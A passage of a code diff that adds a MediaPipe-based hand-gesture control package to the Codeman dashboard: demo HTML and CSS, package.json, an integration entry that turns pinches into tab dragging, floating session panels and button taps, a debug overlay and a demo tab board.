padding: 12px;
pointer-events: none;
z-index: 1;
}
#board .column {
flex: 1;
min-width: 0;
display: flex;
flex-direction: column;
background: rgba(11, 15, 23, 0.55);
border: 1px solid #25324a;
border-radius: 10px;
backdrop-filter: blur(3px);
transition: border-color 0.1s, background 0.1s;
}
#board .column.col-hot {
border-color: var(--accent);
background: rgba(56, 189, 248, 0.18);
}
#board .column > header {
font-size: 0.78rem;
font-weight: 650;
color: var(--muted);
padding: 0.5rem 0.6rem;
border-bottom: 1px solid #25324a;
}
#board .tablist {
flex: 1;
padding: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.4rem;
overflow: hidden;
}
#board .tab {
background: #1b2740;
border: 1px solid #2c3c5c;
border-radius: 8px;
padding: 0.85rem 0.7rem;
min-height: 3rem;
display: flex;
align-items: center;
font-size: 0.95rem;
font-weight: 550;
font-variant-numeric: tabular-nums;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
transition: border-color 0.1s, transform 0.05s;
}
#board .tab.tab-hot {
border-color: var(--accent);
background: #22304d;
}
#board .tab.dragging {
position: absolute;
z-index: 5;
width: auto;
box-shadow: 0 12px 30px rgba(0, 0, 0, 0.55);
transform: scale(1.05);
opacity: 0.97;
border-color: #4ade80;
}
.controls { display: flex; gap: 0.75rem; align-items: center; }
button {
background: var(--accent);
color: #04222e;
border: 0;
border-radius: 8px;
padding: 0.55rem 1.1rem;
font-size: 0.95rem;
font-weight: 650;
cursor: pointer;
}
button:disabled { opacity: 0.4; cursor: not-allowed; }
button.ghost { background: var(--panel); color: var(--ink); }
select {
background: var(--panel);
color: var(--ink);
border: 1px solid #25324a;
border-radius: 8px;
padding: 0.5rem 0.75rem;
font-size: 0.9rem;
max-width: 16rem;
}
select:disabled { opacity: 0.4; cursor: not-allowed; }
.hud {
display: flex;
gap: 1.5rem;
background: var(--panel);
border-radius: 10px;
padding: 0.75rem 1.25rem;
font-variant-numeric: tabular-nums;
font-size: 0.9rem;
}
.hud .label { color: var(--muted); margin-right: 0.4rem; }
.hud b { font-weight: 650; }
#status-msg { color: var(--muted); font-size: 0.85rem; min-height: 1.2em; margin: 0; }
</style>
</head>
<body>
<h1>Codeman Gesture Control</h1>
<p class="sub">Phase 4 — pinch-drag tabs + discrete gesture commands. Camera feed never leaves this machine.</p>
<div class="stage" id="stage">
<video id="cam" autoplay muted playsinline></video>
<div id="board"></div>
<canvas id="overlay"></canvas>
</div>
<div class="controls">
<button id="start">Start camera</button>
<button id="stop" class="ghost" disabled>Stop</button>
<button id="fullscreen" class="ghost" title="Toggle fullscreen (Esc to exit)">⛶ Fullscreen</button>
<select id="camera" disabled title="Choose camera (populated after start)">
<option>Default camera</option>
</select>
</div>
<div class="hud">
<span><span class="label">FPS</span><b id="fps">0</b></span>
<span><span class="label">Hands</span><b id="hand">no</b></span>
<span><span class="label">Pinch</span><b id="pinch">—</b></span>
<span><span class="label">Gesture</span><b id="gesture">—</b></span>
</div>
<p id="status-msg">Click “Start camera” to begin (camera access requires a click).</p>
<script type="module" src="/src/main.ts"></script>
</body>
</html>
+28
View File
@@ -0,0 +1,28 @@
{
"name": "codeman-gesture-control",
"private": true,
"version": "0.1.0",
"type": "module",
"description": "Jarvis-style hand-tracking input layer for the Codeman dashboard. Vendored into the Codeman repo; the Codeman bundle (src/codeman/entry.ts) is built into src/web/public/gesture/gesture-codeman.js by `npm run build:gesture` at the repo root.",
"scripts": {
"dev": "vite",
"preview": "vite preview",
"typecheck": "tsc --noEmit",
"build:demo": "tsc && vite build",
"build:codeman": "esbuild src/codeman/entry.ts --bundle --format=esm --target=es2020 --outfile=dist-codeman/gesture-codeman.js"
},
"dependencies": {
"@mediapipe/tasks-vision": "0.10.21"
},
"devDependencies": {
"esbuild": "^0.27.3",
"typescript": "^5.5.4",
"vite": "^7.3.5"
},
"homepage": "https://github.com/Ark0N/Codeman/tree/master/packages/gesture-control#readme",
"repository": {
"type": "git",
"url": "git+https://github.com/Ark0N/Codeman.git",
"directory": "packages/gesture-control"
}
}
@@ -0,0 +1,518 @@
// Phase 5 — Codeman integration entry point.
//
// This is the *consumer* layer that replaces `demo/tabs.ts` for the real
// Codeman dashboard. It is bundled (esbuild, MediaPipe included) into a single
// ESM file and served by Codeman from `/gesture/gesture-codeman.js`, loaded into
// the dashboard page when Codeman is started with `CODEMAN_GESTURE=1`.
//
// The gesture *core* (`../gesture/*`) is unchanged and transport-agnostic — it
// emits coordinate-only `grab`/`drag`/`drop`. Here we map those onto Codeman's
// real session tabs (`.session-tab[data-id]`) and toolbar buttons.
//
// Three interactions, all off the same pinch:
// • Tab "grab-to-float" — pinch a session tab, *pull it out* of the strip (a
// ghost follows your hand), release past a threshold → the session opens as
// an in-page floating panel at the drop point; a small twitch-and-release
// cancels (snaps back).
// • Panel "re-grab" — pinch an existing floating panel and move it anywhere;
// release over the tab strip to re-dock it (panel goes away, the tab stays).
// This is the capability the old OS-window detach lost.
// • Button "tap" — pinch over a toolbar button (Run / Run Shell) and release
// in place → fires the button's real click handler. Drift too far first and
// it's treated as a stray move, not a tap.
//
// Why in-page floats, not OS-window detach (decided 2026-06-08, see
// docs/MULTIMONITOR_DESIGN.md): the hand only exists in the one page that owns
// the camera. `window.open`/`detachSession` puts the session in a sealed OS
// window the page can't hand-track — a detached session can never be moved
// again, a one-way trip. A floating panel (an iframe of the session's solo
// route `/session/:id`) stays in this page's DOM, so the hand keeps control:
// re-grab, move across the (spanned) viewport, drop, re-dock. The OS-window
// detach is kept for later as a *separate, deliberate* verb — no longer the pinch.
import { GestureController } from '../gesture/GestureController.ts';
import type { HandState } from '../gesture/types.ts';
declare global {
interface Window {
__codemanGesture?: GestureBridge;
}
}
const TAB_SELECTOR = '.session-tab';
/** An in-page floating session panel this layer spawned — re-grabbable to move. */
const PANEL_SELECTOR = '.cg-float';
/** The session-tab strip; dropping a moved panel over it re-docks the session. */
const DOCK_SELECTOR = '.session-tabs';
/** Toolbar buttons a pinch can "tap": Run (#runBtn → app.run()) and Run Shell
* (.btn-shell → app.runShell()). Pinch over one and release in place to fire
* it. Extend this list to expose more buttons to the gesture layer. */
const CLICK_SELECTOR = '#runBtn, .btn-shell';
const Z = 2147483000; // above the dashboard, below nothing that matters at the desk
/** Floating-panel size (px). Fixed for the MVP; resize is a later affordance. */
const FLOAT_W = 640;
const FLOAT_H = 420;
/** Minimum pull distance (px) from the grab point before a release floats the
* tab out. Below this it's an accidental pinch and the tab snaps back. */
const DETACH_PULL_PX = 70;
/** If a button-pinch drifts more than this, it's a stray move, not a tap. */
const TAP_CANCEL_PX = 45;
/** First letter colours: cyan left, violet right; green while pinching. */
const handColor = (handedness: string, pinching: boolean): string =>
pinching ? '#4ade80' : handedness === 'Right' ? '#a78bfa' : '#38bdf8';
/** A floating in-page session panel (an iframe of `/session/:id`) the hand can
* place and re-grab. Stays in this page's DOM, so it never leaves hand reach. */
interface FloatingPanel {
id: string;
/** The `.cg-float` container element. */
el: HTMLElement;
}
/** Live state for one hand's in-progress grab — either a session *tab* being
* pulled out into a new float, or an existing *panel* being moved/re-docked. */
type Grab =
| {
kind: 'tab';
id: string;
tab: HTMLElement;
ghost: HTMLElement;
/** Grab origin in viewport px, to measure pull distance. */
ox: number;
oy: number;
/** Pulled past the float-out threshold at least once. */
armed: boolean;
}
| {
kind: 'panel';
id: string;
panel: FloatingPanel;
/** Cursor→panel-top-left offset at grab, so it doesn't snap when re-grabbed. */
dx: number;
dy: number;
/** Cursor currently over the tab strip → releasing re-docks. */
overDock: boolean;
};
/** Live state for one hand pinching a toolbar button (Run / Run Shell). */
interface Tap {
el: HTMLElement;
label: string;
ox: number;
oy: number;
}
class GestureBridge {
private readonly surface: HTMLDivElement;
private readonly canvas: HTMLCanvasElement;
private readonly ctx: CanvasRenderingContext2D;
private readonly video: HTMLVideoElement;
private readonly button: HTMLButtonElement;
private readonly camBtn: HTMLButtonElement;
private readonly status: HTMLSpanElement;
private readonly gc: GestureController;
private running = false;
/** Camera view: full-viewport dimmed background, or small corner preview. */
private camMode: 'full' | 'pip' = 'full';
/** Per-hand in-progress grab (a tab being pulled out, or a panel being moved). */
private grabs = new Map<string, Grab>();
/** Per-hand in-progress button pinch (fires on release if it didn't drift). */
private taps = new Map<string, Tap>();
/** Live floating panels, keyed by session id (idempotent per id). */
private floats = new Map<string, FloatingPanel>();
constructor() {
injectStyles();
// Full-viewport, click-through surface so coords map straight to viewport
// pixels and elementFromPoint() sees the tabs beneath, not our overlay.
this.surface = el('div', 'cg-surface') as HTMLDivElement;
this.canvas = el('canvas', 'cg-canvas') as HTMLCanvasElement;
this.video = el('video', 'cg-preview') as HTMLVideoElement;
this.video.muted = true;
this.video.playsInline = true;
this.applyCamMode();
const dock = el('div', 'cg-dock');
this.button = el('button', 'cg-btn') as HTMLButtonElement;
this.button.textContent = '🖐 Gesture';
this.camBtn = el('button', 'cg-btn cg-btn-icon') as HTMLButtonElement;
this.camBtn.textContent = '⛶';
this.camBtn.title = 'Toggle camera size (fullscreen / corner)';
this.status = el('span', 'cg-status') as HTMLSpanElement;
this.status.textContent = 'off';
dock.append(this.button, this.camBtn, this.status);
document.body.append(this.surface, this.video, this.canvas, dock);
this.ctx = this.canvas.getContext('2d')!;
this.sizeCanvas();
window.addEventListener('resize', () => this.sizeCanvas());
this.gc = new GestureController({
video: this.video,
surface: this.surface,
numHands: 1,
// Self-host the MediaPipe runtime + model from Codeman (same-origin) instead
// of the CDN, so an ad/content blocker, offline desk, or strict browser
// can't break startup (the CDN failure surfaced as `failed: {isTrusted}` —
// a resource load-error Event). Served from public/gesture/.
wasmBase: '/gesture/wasm',
modelUrl: '/gesture/gesture_recognizer.task',
});
this.gc.on('grab', (p) => this.onGrab(p.hand, p.x, p.y));
this.gc.on('drag', (p) => this.onDrag(p.hand, p.x, p.y));
this.gc.on('drop', (p) => this.onDrop(p.hand, p.x, p.y));
this.gc.on('status', ({ fps, hands }) => this.onStatus(fps, hands));
this.button.addEventListener('click', () => void this.toggle());
this.camBtn.addEventListener('click', () => this.toggleCamMode());
}
private async toggle(): Promise<void> {
if (this.running) {
this.gc.stop();
this.running = false;
this.cancelAllGrabs();
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
this.button.classList.remove('on');
this.status.textContent = 'off';
return;
}
this.button.disabled = true;
this.status.textContent = 'starting…';
try {
await this.gc.start();
this.running = true;
this.button.classList.add('on');
this.status.textContent = 'on — pinch a tab or button';
} catch (err) {
// Surface the *real* cause: MediaPipe/Emscripten can throw a non-Error
// (number/string), so `(err as Error).message` was logging "undefined".
const msg = describeError(err);
this.status.textContent = `failed: ${msg}`;
this.status.title = msg;
console.error('[gesture] start failed', err);
} finally {
this.button.disabled = false;
}
}
private toggleCamMode(): void {
this.camMode = this.camMode === 'full' ? 'pip' : 'full';
this.applyCamMode();
}
private applyCamMode(): void {
this.video.classList.toggle('cg-full', this.camMode === 'full');
this.video.classList.toggle('cg-pip', this.camMode === 'pip');
}
/** Top-most element matching `sel` at a viewport point (overlays are
* click-through, so elementFromPoint sees the dashboard beneath). */
private hitClosest(x: number, y: number, sel: string): HTMLElement | null {
const hit = document.elementFromPoint(x, y);
return (hit?.closest(sel) as HTMLElement | null) ?? null;
}
private onGrab(hand: string, x: number, y: number): void {
// An existing floating panel → re-grab to move it (priority over tabs).
// Make it click-through while held so elementFromPoint sees the dock zone
// (and other content) beneath it, and it can't re-grab itself.
const panelEl = this.hitClosest(x, y, PANEL_SELECTOR);
const panelId = panelEl?.dataset.id;
if (panelEl && panelId) {
const float = this.floats.get(panelId);
if (float) {
const rect = panelEl.getBoundingClientRect();
panelEl.style.pointerEvents = 'none';
panelEl.classList.add('cg-float-grabbed');
this.grabs.set(hand, {
kind: 'panel',
id: panelId,
panel: float,
dx: x - rect.left,
dy: y - rect.top,
overDock: false,
});
this.status.textContent = 'moving — drop over tabs to re-dock';
return;
}
}
// A session tab → grab-and-pull-out into a floating panel (ghost follows).
const tab = this.hitClosest(x, y, TAB_SELECTOR);
const id = tab?.dataset.id;
if (tab && id) {
const rect = tab.getBoundingClientRect();
const ghost = tab.cloneNode(true) as HTMLElement;
ghost.classList.add('cg-ghost');
ghost.removeAttribute('id');
ghost.style.width = `${rect.width}px`;
ghost.style.height = `${rect.height}px`;
document.body.append(ghost);
tab.classList.add('cg-grabbed');
this.grabs.set(hand, { kind: 'tab', id, tab, ghost, ox: x, oy: y, armed: false });
this.positionGhost(ghost, x, y);
return;
}
// A toolbar button (Run / Run Shell) → tap-to-fire on release.
const btn = this.hitClosest(x, y, CLICK_SELECTOR);
if (btn) {
const label = (btn.textContent || btn.getAttribute('title') || 'button').trim();
btn.classList.add('cg-tap-armed');
this.taps.set(hand, { el: btn, label, ox: x, oy: y });
this.status.textContent = `release to ${label.toLowerCase()}`;
}
}
private onDrag(hand: string, x: number, y: number): void {
const grab = this.grabs.get(hand);
if (grab?.kind === 'tab') {
this.positionGhost(grab.ghost, x, y);
const pulled = Math.hypot(x - grab.ox, y - grab.oy) >= DETACH_PULL_PX;
if (pulled !== grab.armed) {
grab.armed = pulled;
grab.ghost.classList.toggle('cg-armed', pulled);
this.status.textContent = pulled ? 'release to float out' : 'on — pinch a tab';
}
return;
}
if (grab?.kind === 'panel') {
this.moveFloat(grab.panel, x - grab.dx, y - grab.dy);
const overDock = !!this.hitClosest(x, y, DOCK_SELECTOR);
if (overDock !== grab.overDock) {
grab.overDock = overDock;
grab.panel.el.classList.toggle('cg-redock', overDock);
this.status.textContent = overDock ? 'release to re-dock' : 'moving panel';
}
return;
}
// A button pinch that drifts too far is a stray move, not a tap — cancel it.
const tap = this.taps.get(hand);
if (tap && Math.hypot(x - tap.ox, y - tap.oy) > TAP_CANCEL_PX) {
tap.el.classList.remove('cg-tap-armed');
this.taps.delete(hand);
this.status.textContent = 'on — pinch a tab or button';
}
}
private onDrop(hand: string, x: number, y: number): void {
const grab = this.grabs.get(hand);
if (grab?.kind === 'tab') {
this.grabs.delete(hand);
grab.ghost.remove();
grab.tab.classList.remove('cg-grabbed');
if (grab.armed) this.floatPanel(grab.id, x, y);
else this.flash('cancelled');
return;
}
if (grab?.kind === 'panel') {
this.grabs.delete(hand);
grab.panel.el.style.pointerEvents = ''; // interactive again (type into it)
grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
if (grab.overDock) this.redock(grab.id);
else this.flash('placed');
return;
}
// Release over the same button → fire its real click handler.
const tap = this.taps.get(hand);
if (tap) {
this.taps.delete(hand);
tap.el.classList.remove('cg-tap-armed');
tap.el.click(); // runs the button's onclick (app.run() / app.runShell())
this.flash(tap.label.toLowerCase());
}
}
/** Pop a session into an in-page floating panel (an iframe of its solo route)
* centered on the drop point. Unlike OS-window detach, the panel lives in
* this page's DOM, so the hand can re-grab and move it. Idempotent per id:
* re-floating an existing id just repositions the panel it already has. */
private floatPanel(id: string, x: number, y: number): void {
let float = this.floats.get(id);
if (!float) {
const container = el('div', 'cg-float');
container.dataset.id = id;
const bar = el('div', 'cg-float-bar');
bar.textContent = `session ${id}`;
const frame = el('iframe', 'cg-float-frame') as HTMLIFrameElement;
frame.src = `/session/${encodeURIComponent(id)}`;
frame.title = `Session ${id}`;
container.append(bar, frame);
document.body.append(container);
float = { id, el: container };
this.floats.set(id, float);
this.flash('floated out');
} else {
this.flash('re-floated');
}
this.moveFloat(float, x - FLOAT_W / 2, y - FLOAT_H / 2);
}
/** Re-dock a floated session: drop its in-page panel. The original
* `.session-tab` was never removed, so the session is simply back to plain
* tab form. Mirrors Codeman's own `.detached` → attach toggle. */
private redock(id: string): void {
const float = this.floats.get(id);
if (!float) return;
float.el.remove();
this.floats.delete(id);
this.flash('re-docked');
}
/** Position a float by its top-left corner, clamped to stay on-screen. */
private moveFloat(float: FloatingPanel, left: number, top: number): void {
const l = Math.min(Math.max(0, left), Math.max(0, window.innerWidth - FLOAT_W));
const t = Math.min(Math.max(0, top), Math.max(0, window.innerHeight - FLOAT_H));
float.el.style.left = `${l}px`;
float.el.style.top = `${t}px`;
}
private positionGhost(ghost: HTMLElement, x: number, y: number): void {
ghost.style.left = `${x}px`;
ghost.style.top = `${y}px`;
}
private cancelAllGrabs(): void {
// Floats themselves persist (they're placed windows) — only release any
// in-progress grab cleanly, restoring a moved panel's interactivity.
for (const grab of this.grabs.values()) {
if (grab.kind === 'tab') {
grab.ghost.remove();
grab.tab.classList.remove('cg-grabbed');
} else {
grab.panel.el.style.pointerEvents = '';
grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
}
}
this.grabs.clear();
for (const tap of this.taps.values()) tap.el.classList.remove('cg-tap-armed');
this.taps.clear();
document
.querySelectorAll(`${TAB_SELECTOR}.cg-grabbed, .cg-tap-armed`)
.forEach((t) => t.classList.remove('cg-grabbed', 'cg-tap-armed'));
}
private onStatus(fps: number, hands: HandState[]): void {
// Draw per-hand cursor dots (green while pinching) so the user can aim.
const { width, height } = this.canvas;
const dpr = window.devicePixelRatio || 1;
this.ctx.clearRect(0, 0, width, height);
const rect = this.surface.getBoundingClientRect();
for (const h of hands) {
const x = (1 - h.cursor.x) * rect.width;
const y = h.cursor.y * rect.height;
this.ctx.beginPath();
this.ctx.arc(x * dpr, y * dpr, (h.pinching ? 14 : 9) * dpr, 0, Math.PI * 2);
this.ctx.fillStyle = handColor(h.handedness, h.pinching);
this.ctx.globalAlpha = 0.85;
this.ctx.fill();
this.ctx.globalAlpha = 1;
}
if (this.running && this.grabs.size === 0 && this.taps.size === 0) {
this.status.textContent = `on · ${fps}fps`;
}
}
private flash(msg: string): void {
this.status.textContent = msg;
}
private sizeCanvas(): void {
const dpr = window.devicePixelRatio || 1;
this.canvas.width = Math.floor(window.innerWidth * dpr);
this.canvas.height = Math.floor(window.innerHeight * dpr);
}
}
// ---- tiny helpers ------------------------------------------------------
function el(tag: string, className: string): HTMLElement {
const node = document.createElement(tag);
node.className = className;
return node;
}
/** Best-effort human-readable message for any thrown value (Error or not). */
function describeError(err: unknown): string {
if (err instanceof Error) return err.message || err.name || 'Error';
if (typeof err === 'string') return err;
if (typeof err === 'number') return `code ${err}`;
if (err && typeof err === 'object') {
const m = (err as { message?: unknown }).message;
if (typeof m === 'string' && m) return m;
try {
return JSON.stringify(err);
} catch {
return Object.prototype.toString.call(err);
}
}
return String(err);
}
function injectStyles(): void {
if (document.getElementById('cg-styles')) return;
const css = `
.cg-surface, .cg-canvas { position: fixed; inset: 0; pointer-events: none; }
.cg-surface { z-index: ${Z}; }
.cg-canvas { z-index: ${Z + 1}; width: 100vw; height: 100vh; }
.cg-preview { transform: scaleX(-1); pointer-events: none; background: #000; }
.cg-preview.cg-pip {
position: fixed; right: 12px; bottom: 12px; width: 240px; height: 135px;
object-fit: cover; border-radius: 8px; z-index: ${Z + 2};
box-shadow: 0 4px 16px rgba(0,0,0,.5); opacity: 1;
}
.cg-preview.cg-full {
position: fixed; inset: 0; width: 100vw; height: 100vh;
object-fit: cover; opacity: .28; z-index: ${Z};
}
.cg-ghost {
position: fixed; left: 0; top: 0; transform: translate(-50%, -50%) scale(1.06);
z-index: ${Z + 2}; pointer-events: none; opacity: .92;
box-shadow: 0 8px 28px rgba(0,0,0,.55); border-radius: 8px;
outline: 2px solid #38bdf8; outline-offset: -2px;
}
.cg-ghost.cg-armed { outline-color: #4ade80; box-shadow: 0 8px 28px rgba(74,222,128,.5); }
.cg-dock {
position: fixed; right: 12px; bottom: 156px; z-index: ${Z + 3};
display: flex; align-items: center; gap: 8px; font: 12px/1 system-ui, sans-serif;
}
.cg-btn {
padding: 6px 12px; border-radius: 6px; border: 1px solid #3a3a40;
background: #1b1b1f; color: #e5e5e7; cursor: pointer;
}
.cg-btn-icon { padding: 6px 9px; }
.cg-btn.on { background: #16331f; border-color: #2f6b41; color: #4ade80; }
.cg-status { color: #9aa0a6; max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.session-tab.cg-grabbed { opacity: .35; outline: 2px dashed #4ade80; outline-offset: -2px; }
.cg-tap-armed { outline: 2px solid #4ade80 !important; outline-offset: 2px; box-shadow: 0 0 0 4px rgba(74,222,128,.25) !important; }
.cg-float {
position: fixed; left: 0; top: 0; width: ${FLOAT_W}px; height: ${FLOAT_H}px;
z-index: ${Z}; display: flex; flex-direction: column; overflow: hidden;
background: #0c0c0f; border-radius: 10px; outline: 2px solid #38bdf8;
outline-offset: -2px; box-shadow: 0 10px 40px rgba(0,0,0,.6);
}
.cg-float.cg-float-grabbed { outline-color: #4ade80; box-shadow: 0 12px 48px rgba(74,222,128,.45); }
.cg-float.cg-redock { outline-color: #fbbf24; box-shadow: 0 12px 48px rgba(251,191,36,.5); }
.cg-float-bar {
flex: 0 0 auto; padding: 4px 10px; font: 11px/1.6 system-ui, sans-serif;
color: #cbd5e1; background: #15151a; border-bottom: 1px solid #2a2a30;
user-select: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
}
.cg-float-frame { flex: 1 1 auto; width: 100%; border: 0; background: #000; }
`;
const style = document.createElement('style');
style.id = 'cg-styles';
style.textContent = css;
document.head.append(style);
}
// Idempotent bootstrap — re-importing must not stack overlays.
if (!window.__codemanGesture) {
window.__codemanGesture = new GestureBridge();
}
@@ -0,0 +1,120 @@
// Debug overlay: draws the 21-point hand skeleton over the (mirrored) video.
//
// The <video> is mirrored via CSS (transform: scaleX(-1)). To make the drawn
// skeleton line up with what you see, we mirror the X coordinate here
// (x_draw = (1 - x) * width) rather than CSS-mirroring the canvas — that keeps
// any future text we draw readable.
import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
import { HAND_CONNECTIONS } from '../gesture/landmarks.ts';
/** A cursor to draw: raw normalized position + base color + pinch state. */
export interface CursorMark {
x: number;
y: number;
color: string;
pinching: boolean;
}
export class Overlay {
private ctx: CanvasRenderingContext2D;
constructor(
private canvas: HTMLCanvasElement,
private video: HTMLVideoElement
) {
const ctx = canvas.getContext('2d');
if (!ctx) throw new Error('Could not get 2D context for overlay canvas');
this.ctx = ctx;
}
/** Match the canvas backing-store resolution to the displayed video size. */
private syncSize(): void {
const w = this.video.videoWidth || this.video.clientWidth;
const h = this.video.videoHeight || this.video.clientHeight;
if (w && h && (this.canvas.width !== w || this.canvas.height !== h)) {
this.canvas.width = w;
this.canvas.height = h;
}
}
clear(): void {
this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
}
/**
* Draw the detected hands' skeletons plus one smoothed cursor per hand.
* Cursor coords are raw normalized [0,1] (mirrored here, like the skeleton).
*/
draw(result: GestureRecognizerResult, cursors: CursorMark[] = []): void {
this.syncSize();
const { width: w, height: h } = this.canvas;
const ctx = this.ctx;
ctx.clearRect(0, 0, w, h);
const hands = result.landmarks ?? [];
for (const landmarks of hands) {
// Connections (bones)
ctx.strokeStyle = 'rgba(80, 220, 255, 0.9)';
ctx.lineWidth = 3;
for (const [a, b] of HAND_CONNECTIONS) {
const pa = landmarks[a];
const pb = landmarks[b];
if (!pa || !pb) continue;
ctx.beginPath();
ctx.moveTo((1 - pa.x) * w, pa.y * h);
ctx.lineTo((1 - pb.x) * w, pb.y * h);
ctx.stroke();
}
// Joints (points)
for (let i = 0; i < landmarks.length; i++) {
const p = landmarks[i];
const x = (1 - p.x) * w;
const y = p.y * h;
// Highlight thumb tip (4) + index tip (8) — these drive the cursor later.
const isPinchPoint = i === 4 || i === 8;
ctx.fillStyle = isPinchPoint ? '#ffd166' : '#ff5d8f';
ctx.beginPath();
ctx.arc(x, y, isPinchPoint ? 7 : 4, 0, Math.PI * 2);
ctx.fill();
}
}
for (const c of cursors) this.drawCursor(c, w, h);
}
/** A ring + crosshair at the cursor; green + filled while pinching. */
private drawCursor(cursor: CursorMark, w: number, h: number): void {
const ctx = this.ctx;
const cx = (1 - cursor.x) * w; // mirror X to match the displayed video
const cy = cursor.y * h;
const pinching = cursor.pinching;
const r = pinching ? 16 : 12;
const color = pinching ? '#4ade80' : cursor.color;
if (pinching) {
ctx.fillStyle = 'rgba(74, 222, 128, 0.25)';
ctx.beginPath();
ctx.arc(cx, cy, r, 0, Math.PI * 2);
ctx.fill();
}
ctx.strokeStyle = color;
ctx.lineWidth = 3;
ctx.beginPath();
ctx.arc(cx, cy, r, 0, Math.PI * 2);
ctx.stroke();
ctx.beginPath();
ctx.moveTo(cx - r - 5, cy);
ctx.lineTo(cx - r + 4, cy);
ctx.moveTo(cx + r - 4, cy);
ctx.lineTo(cx + r + 5, cy);
ctx.moveTo(cx, cy - r - 5);
ctx.lineTo(cx, cy - r + 4);
ctx.moveTo(cx, cy + r - 4);
ctx.lineTo(cx, cy + r + 5);
ctx.stroke();
}
}
+209
View File
@@ -0,0 +1,209 @@
// demo/tabs.ts — Phase 3 fake-tab board.
//
// 3 columns of draggable "session" tabs, driven entirely by gesture events
// (no mouse). The board overlays the camera stage, so surface-pixel coords
// from GestureController map straight onto board-local coords.
//
// Source of truth for which tab is in which column is the DOM itself. The
// state machine here is tiny: grab → (drag)* → drop, tracked per hand so two
// hands can drag two tabs at once.
interface Tab {
id: string;
el: HTMLElement;
}
interface Column {
id: string;
title: string;
el: HTMLElement;
list: HTMLElement;
}
interface Grab {
tab: Tab;
originList: HTMLElement;
w: number;
h: number;
}
/** A hovering cursor for highlight purposes. */
export interface HoverPoint {
x: number;
y: number;
pinching: boolean;
}
const INITIAL: Array<{ id: string; title: string; tabs: string[] }> = [
{ id: 'screen-1', title: 'Screen 1', tabs: ['auth-refactor', 'api-tests'] },
{ id: 'screen-2', title: 'Screen 2', tabs: ['db-migrate', 'ui-polish', 'docs'] },
{ id: 'screen-3', title: 'Screen 3', tabs: ['ci-fix'] },
];
export class TabsBoard {
private columns: Column[] = [];
private tabs = new Map<string, Tab>();
/** hand id → the tab it is currently dragging. */
private grabs = new Map<string, Grab>();
/** @param onDrop notified after a settled drop: (tab, column or null if cancelled). */
constructor(
private root: HTMLElement,
private onDrop?: (tabId: string, columnId: string | null) => void
) {
this.build();
}
private build(): void {
this.root.classList.add('board');
for (const col of INITIAL) {
const el = document.createElement('div');
el.className = 'column';
el.dataset.col = col.id;
const header = document.createElement('header');
header.textContent = col.title;
const list = document.createElement('div');
list.className = 'tablist';
el.append(header, list);
this.root.append(el);
this.columns.push({ id: col.id, title: col.title, el, list });
for (const id of col.tabs) {
const tab = this.makeTab(id);
list.append(tab.el);
}
}
}
private makeTab(id: string): Tab {
const el = document.createElement('div');
el.className = 'tab';
el.dataset.tab = id;
el.textContent = id;
const tab: Tab = { id, el };
this.tabs.set(id, tab);
return tab;
}
// ---- Geometry --------------------------------------------------------
/** Element rect in board-local coords (origin = board top-left). */
private localRect(el: HTMLElement): DOMRect {
const r = el.getBoundingClientRect();
const base = this.root.getBoundingClientRect();
return new DOMRect(r.left - base.left, r.top - base.top, r.width, r.height);
}
/** Hit-test slop (px). Cursor jitter + a small target shouldn't fight you. */
private static readonly GRAB_PAD = 18;
private static contains(r: DOMRect, x: number, y: number, pad = 0): boolean {
return x >= r.left - pad && x <= r.right + pad && y >= r.top - pad && y <= r.bottom + pad;
}
private columnAt(x: number, y: number): Column | null {
for (const c of this.columns) {
if (TabsBoard.contains(this.localRect(c.el), x, y)) return c;
}
return null;
}
/** Topmost ungrabbed tab under the point. Nearest-center wins ties so the
* padded hit-areas of adjacent tabs resolve to the most likely target. */
private tabAt(x: number, y: number): Tab | null {
let best: Tab | null = null;
let bestDist = Infinity;
for (const tab of this.tabs.values()) {
if (this.isGrabbed(tab.id)) continue;
const r = this.localRect(tab.el);
if (!TabsBoard.contains(r, x, y, TabsBoard.GRAB_PAD)) continue;
const cx = r.left + r.width / 2;
const cy = r.top + r.height / 2;
const d = (x - cx) ** 2 + (y - cy) ** 2;
if (d < bestDist) {
bestDist = d;
best = tab;
}
}
return best;
}
private isGrabbed(tabId: string): boolean {
for (const g of this.grabs.values()) if (g.tab.id === tabId) return true;
return false;
}
// ---- Highlights (driven each frame from the status snapshot) ---------
/** Recompute hover highlights from the full set of present cursors. */
hover(points: HoverPoint[]): void {
this.root.querySelectorAll('.col-hot, .tab-hot').forEach((el) => el.classList.remove('col-hot', 'tab-hot'));
for (const p of points) {
this.columnAt(p.x, p.y)?.el.classList.add('col-hot');
// Only show a grab affordance when the hand is open (not pinching).
if (!p.pinching) this.tabAt(p.x, p.y)?.el.classList.add('tab-hot');
}
}
// ---- Drag state machine ---------------------------------------------
grab(hand: string, x: number, y: number): void {
if (this.grabs.has(hand)) return;
const tab = this.tabAt(x, y);
if (!tab) return;
const rect = this.localRect(tab.el);
this.grabs.set(hand, {
tab,
originList: tab.el.parentElement as HTMLElement,
w: rect.width,
h: rect.height,
});
tab.el.classList.add('dragging');
tab.el.style.width = `${rect.width}px`;
// Reparent the floating tab onto the board root before positioning it.
// A `.column` can't be the containing block: its `backdrop-filter` makes it
// the containing block for absolutely-positioned children, so our
// board-local left/top would be offset by the column's own position (tabs
// in the middle/right columns flew off to the right). #board has no
// filter/transform, so it's a stable origin that matches moveTo's coords.
this.root.append(tab.el);
this.moveTo(tab.el, x, y, rect.width, rect.height);
}
drag(hand: string, x: number, y: number): void {
const g = this.grabs.get(hand);
if (!g) return;
this.moveTo(g.tab.el, x, y, g.w, g.h);
}
drop(hand: string, x: number, y: number): void {
const g = this.grabs.get(hand);
if (!g) return;
this.grabs.delete(hand);
const target = this.columnAt(x, y);
const dest = target ? target.list : g.originList;
dest.append(g.tab.el);
g.tab.el.classList.remove('dragging');
g.tab.el.style.removeProperty('width');
g.tab.el.style.removeProperty('left');
g.tab.el.style.removeProperty('top');
this.onDrop?.(g.tab.id, target ? target.id : null);
}
/** Center the floating tab on the cursor (clamped to the board). */
private moveTo(el: HTMLElement, x: number, y: number, w: number, h: number): void {
